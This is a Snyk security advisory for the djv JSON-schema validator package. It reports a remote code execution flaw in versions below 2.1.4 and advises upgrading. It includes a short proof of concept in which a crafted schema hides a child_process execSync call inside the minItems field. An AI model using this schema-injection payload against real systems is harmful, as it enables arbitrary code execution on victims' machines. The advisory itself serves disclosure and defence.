djv@2.0.0-alpha.0 vulnerabilities

dynamic json-schema validator

  • latest version

    2.1.4

  • latest non vulnerable version

  • first published

    9 years ago

  • latest version published

    4 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the djv package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • C
    Remote Code Execution (RCE)

    djv is a dynamic json-schema validator

    Affected versions of this package are vulnerable to Remote Code Execution (RCE). By controlling the schema file, an attacker can run arbitrary JavaScript code on the victim machine.

    POC:

    const djv = require('djv');
    const env = new djv();
    const evilSchema = JSON.parse('{"common":{"type":"array", "minItems":"process.mainModule.require(`child_process`).execSync(`touch HACKED`)"}}')
    env.addSchema('test', evilSchema);
    env.validate('test#/common', { type: 'custom' });
    

    How to fix Remote Code Execution (RCE)?

    Upgrade djv to version 2.1.4 or higher.

    <2.1.4